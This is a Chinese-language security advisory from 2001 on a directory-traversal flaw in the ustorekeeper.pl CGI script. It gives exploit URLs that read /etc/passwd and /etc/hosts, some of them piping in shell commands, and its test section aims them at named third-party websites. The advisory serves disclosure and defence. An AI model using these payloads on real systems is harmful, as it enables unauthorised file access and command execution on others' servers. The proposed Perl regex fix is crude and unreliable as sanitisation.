ustorekeeper.pl目录遍历漏洞
发布日期:2001-04-04
更新日期:2001-04-04
受影响系统:
描述:
ustorekeeper.pl version 1.61 (可能包括其他版本)
向受此问题影响的目标主机提交如下URL请求,
http://www.vulnurable.com/cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../etc/hosts
http://www.vulnurable.com/cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../bin/ls |
由于ustorekeeper.pl在处理输入时没有过滤"../",导致远程用户可以遍历服务器文
件系统,访问那些本来不该被访问到的文件,比如/etc/passwd。
<* 来源:XblP /UkR security team (www.ukrteam.ru)/GiN group (www.gin.sh) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
参看漏洞描述
http://www.lynchs.com/cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../../../etc/passwd
http://www.madamealexanderdollmuseum.com/cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../../../../../../
bin/cat ustorekeeper.pl |
建议:
一个临时解决办法是过滤URL请求串中的"../"
# this will help in somewhat...
$input =~ s/[(\.\.)|\/]//g;
文章整理:西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!



